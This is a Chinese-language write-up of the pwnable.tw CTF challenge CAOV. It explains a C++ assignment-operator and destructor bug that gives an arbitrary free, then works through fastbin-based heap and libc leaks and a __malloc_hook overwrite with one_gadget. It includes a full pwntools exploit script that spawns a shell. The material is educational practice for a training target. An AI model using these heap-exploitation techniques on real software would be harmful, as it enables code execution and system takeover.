pwnable.tw CAOV writeup -- C++ 析构漏洞

TOC

  1. 1. 溢出点
  2. 2. 思路
  3. 3. 脚本

一道很难的pwn题,考的是C++的析构漏洞,光溢出点就非常难找,泄露也要精心构造heap才行,靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:caov.zip

溢出点

class Data
{
...
Data operator=(const Data &rhs)
{
key = new char[strlen(rhs.key)+1];
strcpy(key, rhs.key);
value = rhs.value;
change_count = rhs.change_count;
year = rhs.year;
month = rhs.month;
day = rhs.day;
hour = rhs.hour;
min = rhs.min;
sec = rhs.sec;
}
...
};

Data Data::operator=函数中,原本Data::operator=是不需要返回值的,但是这里强行加上了返回值,这就导致该函数要返回一个完整的class Data,而class Data大小为0x30,所以编译器最终决定传入一个栈指针,这里原本并没有错。

让我们来看看IDA的反汇编代码:

void __cdecl edit()
{
__int64 v0; // rax
__int64 v1; // rax
Data old; // [rsp+0h] [rbp-80h]
Data v3; // [rsp+30h] [rbp-50h]
unsigned __int64 v4; // [rsp+68h] [rbp-18h]

v4 = __readfsqword(0x28u);
Data::Data(&old);
Data::operator=(&v3, &old, D);
Data::~Data(&v3);
Data::edit_data(D);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "\nYour data info before editing:");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
Data::info(&old);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "\nYour data info after editing:");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
Data::info(D);
Data::~Data(&old);
}

由于编译器认为返回的class Data应该会在Data::operator=中运行构造函数,但是并没有,在看看Data::operator=函数,发现其并没有为返回值运行任何构造函数。

Data *__cdecl Data::operator=(Data *retstr, Data *const this, const Data *rhs)
{
const Data *v3; // ST08_8
size_t v4; // rax

v3 = rhs;
v4 = strlen(rhs->key);
this->key = (char *)operator new[](v4 + 1);
strcpy(this->key, v3->key);
this->value = v3->value;
this->change_count = v3->change_count;
this->year = v3->year;
this->month = v3->month;
this->day = v3->day;
this->hour = v3->hour;
this->min = v3->min;
this->sec = v3->sec;
return retstr;
}

所以我们会得到一个未初始化,而且可能被污染的class Data(应为其在栈上)。而且其会立马调用析构函数就行销毁。

其析构函数如下:

~Data()
{
delete[] key;
key = nullptr;
value = 0;
change_count = 0;
init_time();
}

综上所述,我们可以free任意地址

思路

这里我建议看了溢出点之后尽量自己根据溢出点写一遍,总是依赖别人而不去独立思考,这样自己将永远无法得到提高。

简单来说就是利用fastbin的单链表规则来泄露指针,得到heap地址,劫持Data *D这个chunk,然后泄露got地址,再劫持hook拿shell。

这里我们可以利用set_name函数来污染栈,设置我们想要的值。

void set_name()
{
char tmp[160]={};
char c;
cout << "Enter your name: ";
int cnt = 0;
while(1)
{
int len = read(0, &c, 1);
if(len != 1)
{
cout << "Read error" << endl;
exit(-1);
}
tmp[cnt++] = c;
if(c == '\n' || cnt == 150)
{
tmp[cnt-1] = '\0';
break;
}
}
memcpy(name, tmp, cnt);
}

First: 先泄露heap地址。

程序中基本上所以地方都有null截断,想直接泄露信息是基本上不可能的,但是我们可以通过UAF来进行泄露heap地址信息。

name_addr = 0x6032C0
# name_addr = elf.symbols['name']

sh.sendlineafter('Enter your name: ', 'aa')
sh.sendlineafter('Please input a key: ', '\0' + 'b' * 0x36)
sh.sendlineafter('Please input a value: ', '1')

Edit(p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x21) + 'a' * 0x30 + p64(name_addr + 0x10), 0x17, 'a' + 'a' * 0x16)
Edit(p64(0) + p64(0x41) + p64(0) * 7 + p64(0x21) + 'c' * 0x10 + p64(name_addr + 0x10), 0, None)

sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0'))
log.success('heap_addr: ' + hex(heap_addr))

原理是修改Data *D的key,使其指向全局变量name,在freename,则其会泄露同fastbin链上的chunk信息。

其调试结果如下:

pwndbg> p *D
$1 = {
key = 0x6032d0 <name+16> "\220,*\001",
value = 1,
change_count = 1,
year = 2019,
month = 7,
day = 22,
hour = 19,
min = 18,
sec = 3
}
pwndbg> bin
fastbins
0x20: 0x12a2db0 ◂— 0x0
0x30: 0x0
0x40: 0x6032c0 (name) —▸ 0x12a2c90 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x12a2dd0 —▸ 0x7f52877b0b78 (main_arena+88) ◂— 0x12a2dd0
smallbins
empty
largebins
empty

Second: 当我们泄露出heap地址信息是,就可以通过该信息计算出Data *D指向的地址,从而劫持这个chunk,然后更改key的值为got地址,从而泄露got地址以获得libc信息。

D_chunk_addr = heap_addr + 0x40

# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, '\0')
# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, p64(elf.got['setvbuf']))

sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['setvbuf']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))

Third: 劫持hook,由于过程比较简单,我就不细说了。

Edit(p64(0) + p64(0x71) + 'x' * 0x50 + p64(name_addr + 0x10) + p64(0) + p64(0) + p64(21) , 0, None)
Edit(p64(0) + p64(0x71) + p64(main_arena_addr - 0x33) + 'x' * 0x48 + p64(0) + p64(0) + p64(0) + p64(21) , 0x67, '\0')

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# pause()
Edit('\0' * 150 , 0x67, 'z' * 0xb + p64(libc_addr + 0xef9f4) + p64(libc_addr +0xef6c4))

这里我特别强调一下最后一次set_name时,最好把栈全部刷新成\0,以提高one_gadget的成功几率。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './caov'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10306)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''

'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Edit(name, length, key):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('Enter your name: ', name)
sh.sendlineafter('New key length: ', str(length))
if(key):
sh.sendlineafter('Key: ', key)
sh.sendlineafter('Value: ', '1')

name_addr = 0x6032C0

sh.sendlineafter('Enter your name: ', 'aa')
sh.sendlineafter('Please input a key: ', '\0' + 'b' * 0x36)
sh.sendlineafter('Please input a value: ', '1')

Edit(p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x21) + 'a' * 0x30 + p64(name_addr + 0x10), 0x17, 'a' + 'a' * 0x16)
Edit(p64(0) + p64(0x41) + p64(0) * 7 + p64(0x21) + 'c' * 0x10 + p64(name_addr + 0x10), 0, None)

sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0'))
log.success('heap_addr: ' + hex(heap_addr))

D_chunk_addr = heap_addr + 0x40

# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, '\0')
# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, p64(elf.got['setvbuf']))

sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['setvbuf']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))

Edit(p64(0) + p64(0x71) + 'x' * 0x50 + p64(name_addr + 0x10) + p64(0) + p64(0) + p64(21) , 0, None)
Edit(p64(0) + p64(0x71) + p64(main_arena_addr - 0x33) + 'x' * 0x48 + p64(0) + p64(0) + p64(0) + p64(21) , 0x67, '\0')

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# pause()
Edit('\0' * 150 , 0x67, 'z' * 0xb + p64(libc_addr + 0xef9f4) + p64(libc_addr + 0xef6c4))


sh.interactive()
clear()